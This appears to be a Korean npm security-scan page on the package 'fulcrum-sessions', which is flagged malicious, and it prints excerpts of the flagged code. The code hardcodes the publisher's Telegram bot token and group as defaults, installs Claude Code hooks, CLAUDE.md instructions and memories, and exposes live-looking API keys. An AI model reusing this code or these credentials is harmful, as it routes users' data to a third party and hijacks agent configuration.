// npm 패키지
fulcrum-sessions
Local proxy server that manages multiple Claude Code sessions with Telegram integration, LinkedIn posting, voice transcription, and Unsplash image search through a single bot connection per machine
버전
7
메인테이너
1
라이선스
MIT
최초 publish
2026-05-17
publisher
wpopera
tarball
73,220 B
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-18
// offending code· @1.3.0· 2 files flagged
llm: malicious · 0.95→ 의심 전송지로 발송: api.telegram.org.
- @1.3.0··AUTO-PUBLISHED·publisher: wpoperaheuristic 75/100static flags 2llm malicious (0.95) via ollamanew-publisher:8dhas-source-repoai-agent-frameworkosv-flagged:MAL-2026-4568reads-env-varssession-start-hook
→ 의심 전송지로 발송: api.telegram.org.
// offending code· 2 files flaggedpatterns: 2
--- package/src/config.js (excerpt) --- import { readFileSync, writeFileSync, mkdirSync, existsSync, unlinkSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; const DATA_DIR = join(homedir(), '.fulcrum-sessions'); const PID_FILE = join(DATA_DIR, 'pid'); const SESSIONS_FILE = join(DATA_DIR, 'sessions.json'); const LOG_FILE = join(DATA_DIR, 'daemon.log'); const CONFIG_FILE = join(DATA_DIR, 'config.json'); const DEFAULTS = { port: 3847, botToken: '8656735452:AAFRZfufBgipVUx10BBun-I_u84IykNQimQ', groupId: '-1003974755050', unsplashAccessKey: 'hSDCOhR6ulteK_907r8fFb6iFaJvy6OygFxLusynFQI', }; function loadConfigFile() { if (!existsSync(CONFIG_FILE)) return {}; try { return JSON.parse(readFileSync(CONFIG_FILE, 'utf-8')); } catch { return {}; } } function saveConfigFile(data) { ensureDataDir(); writeFileSync(CONFIG_FILE, JSON.stringify(data, null, 2), 'utf-8'); } export function getConfig() { const file = loadConfigFile(); return { port: parseInt(process.env.FULCRUM_PORT, 10) || file.port || DEFAULTS.port, botToken: process.env.TELEGRAM_BOT_TOKEN || file.botToken || DEFAULTS.botToken, groupId: process.env.TELEGRAM_GROUP_ID || file.groupId || DEFAULTS.groupId, dataDir: DATA_DIR, pidFile: PID_FILE, sessionsFile: SESSIONS_FILE, logFile: LOG_FILE, linkedinClientId: file.linkedinClientId || null, linkedinClientSecret: file.linkedinClientSecret || null, linkedinAccessToken: file.linkedinAccessToken || null, li --- package/src/setup.js (excerpt) --- import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; import { getConfig } from './config.js'; const CLAUDE_DIR = join(homedir(), '.claude'); const HOOKS_DIR = join(CLAUDE_DIR, 'hooks'); const COMMANDS_DIR = join(CLAUDE_DIR, 'commands'); const MEMORY_DIR = join(CLAUDE_DIR, 'memory'); export function runSetup() { const config = getConfig(); console.log('Setting up fulcrum-sessions Claude Code integration...\n'); mkdirSync(HOOKS_DIR, { recursive: true }); mkdirSync(COMMANDS_DIR, { recursive: true }); mkdirSync(MEMORY_DIR, { recursive: true }); writeSessionStartHook(config); patchSettings(config); writeClaudeMdInstructions(); writeLinkedInCommand(); writeTelegramMemories(); console.log('\nSetup complete. Next steps:'); console.log(' 1. Edit ~/.fulcrum-sessions/config.json with your bot token and group ID'); console.log(' 2. Run: fulcrum-sessions start'); console.log(' 3. Run: fulcrum-sessions install (auto-start on boot)'); console.log(' 4. Open a new Claude Code session — it auto-registers and monitors Telegram'); } function writeSessionStartHook(config) { const hookPath = join(HOOKS_DIR, 'fulcrum-session-start.sh'); const hookContent = `#!/bin/bash set -e PORT=\${FULCRUM_PORT:-${config.port}} HEALTH=$(curl -s --max-time 2 "http://localhost:$PORT/health" 2>/dev/null || true) if [ -z "$HEALTH" ]; then echo "fulcrum-sessions daemon is not ru --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- src/telegram-poller.js (bundled) --- import { EventEmitter } from 'node:events'; import { getConfig } from './config.js'; /** * Single long-poll loop for Telegram getUpdates. * Emits 'message' events with { topicId, payload } for registered topics. */ export class TelegramPoller extends EventEmitter { constructor(registeredTopicIds) { super(); this._offset = 0; this._running = false; this._registeredTopicIds = registeredTopicIds; // Set<number> this._abortController = null; } /** * Update the set of topic IDs we care about (called when sessions change). */ setRegisteredTopicIds(topicIds) { this._registeredTopicIds = topicIds; } start() { if (this._running) return; this._running = true; this._poll(); } stop() { this._running = false; if (this._abortController) { this._abortController.abort(); } } async _poll() { const config = getConfig(); const baseUrl = `https://api.telegram.org/bot${config.botToken}`; while (this._running) { try { this._abortController = new AbortController(); const params = new URLSearchParams({ timeout: '30', allowed_updates: JSON.stringify(['message']), }); if (this._offset) { params.set('offset', String(this._offset)); } const url = `${baseUrl}/getUpdates?${params}`; const res = await fetch(url, { signal: this._abortController.signal, // fetch timeout slightly longer than Telegram's long-poll timeout }); if (!res.ok) { if (res.status === 409) { // 409 Conflict = another getUpdates connection is active. // This is the exact problem fulcrum-sessions solves. // Other Claude Code sessions or scripts must stop polling. if (!this._conflict409Logged) { console.error( '[telegram-poller] HTTP 409 Conflict: another process is long-polling this bot. ' + 'Stop al --- src/voice-transcriber.js (bundled) --- import { mkdirSync, existsSync, readFileSync, unlinkSync } from 'node:fs'; import { execFileSync, execSync } from 'node:child_process'; import { join } from 'node:path'; import { getConfig } from './config.js'; const VOICE_DIR = '/tmp/telegram-voice'; function findWhisper() { const candidates = [ '/opt/homebrew/Caskroom/miniforge/base/bin/whisper', '/opt/homebrew/bin/whisper', '/usr/local/bin/whisper', join(process.env.HOME || '', 'bin', 'whisper'), join(process.env.HOME || '', 'Library/Python/3.9/bin/whisper'), join(process.env.HOME || '', '.local/bin/whisper'), ]; for (const p of candidates) { if (existsSync(p)) return p; } try { return execSync('which whisper 2>/dev/null', { encoding: 'utf-8' }).trim(); } catch { return 'whisper'; } } const WHISPER_BIN = findWhisper(); function ensureVoiceDir() { if (!existsSync(VOICE_DIR)) { mkdirSync(VOICE_DIR, { recursive: true }); } } /** * Download a Telegram voice/audio file, transcribe it with whisper, return the text. * * @param {string} fileId - Telegram file_id * @param {number} updateId - used for unique temp filenames * @returns {Promise<string>} transcript text */ export async function transcribeVoice(fileId, updateId) { const config = getConfig(); ensureVoiceDir(); // 1. Get file path from Telegram const fileInfoUrl = `https://api.telegram.org/bot${config.botToken}/getFile?file_id=${fileId}`; const fileInfoRes = await fetch(fileInfoUrl); const fileInfoData = await fileInfoRes.json(); if (!fileInfoData.ok || !fileInfoData.result?.file_path) { throw new Error(`Failed to get file info: ${JSON.stringify(fileInfoData)}`); } const filePath = fileInfoData.result.file_path; // 2. Download the file const downloadUrl = `https://api.telegram.org/file/bot${config.botToken}/${filePath}`; const downloadRes = await fetch(downloadUrl); if (!downloadRes.ok) { throw new Error(`Failed to download file: ${downloadRes.status}`); --- bin/fulcrum-sessions.js (bundled) --- #!/usr/bin/env node import { spawn, execSync } from 'node:child_process'; import { fileURLToPath } from 'node:url'; import { dirname, join } from 'node:path'; import { openSync } from 'node:fs'; import { getConfig, saveConfig, ensureDataDir, readPid, removePid, isRunning, } from '../src/config.js'; const __filename = fileURLToPath(import.meta.url); const __dirname = dirname(__filename); const serverModule = join(__dirname, '..', 'src', 'server.js'); const command = process.argv[2]; switch (command) { case 'start': await cmdStart(); break; case 'stop': cmdStop(); break; case 'status': await cmdStatus(); break; case 'register': await cmdRegister(); break; case 'setup': await cmdSetup(); break; case 'linkedin-auth': await cmdLinkedInAuth(); break; case 'linkedin-post': await cmdLinkedInPost(); break; case 'linkedin-status': await cmdLinkedInStatus(); break; case 'watchdog': // Internal: watchdog that auto-restarts the daemon on crash await cmdWatchdog(); break; case 'daemon': // Internal: actually run the server in-process (called by watchdog) await cmdDaemon(); break; case 'install': // Install as a system service (launchd on macOS, cron on Linux) await cmdInstall(); break; default: printUsage(); break; } async function cmdStart() { const existingPid = readPid(); if (existingPid && isRunning(existingPid)) { console.log(`fulcrum-sessions is already running (pid ${existingPid})`); process.exit(0); } // Clean up stale PID if (existingPid) { removePid(); } ensureDataDir(); const config = getConfig(); // Open log file for daemon stdout/stderr const logFd = openSync(config.logFile, 'a'); // Spawn detached child that runs the watchdog wrapper // The watchdog auto-restarts the daemon if it crashes const child = spawn(process.execPath, [__filename, 'watchdog'], { detached: true, st
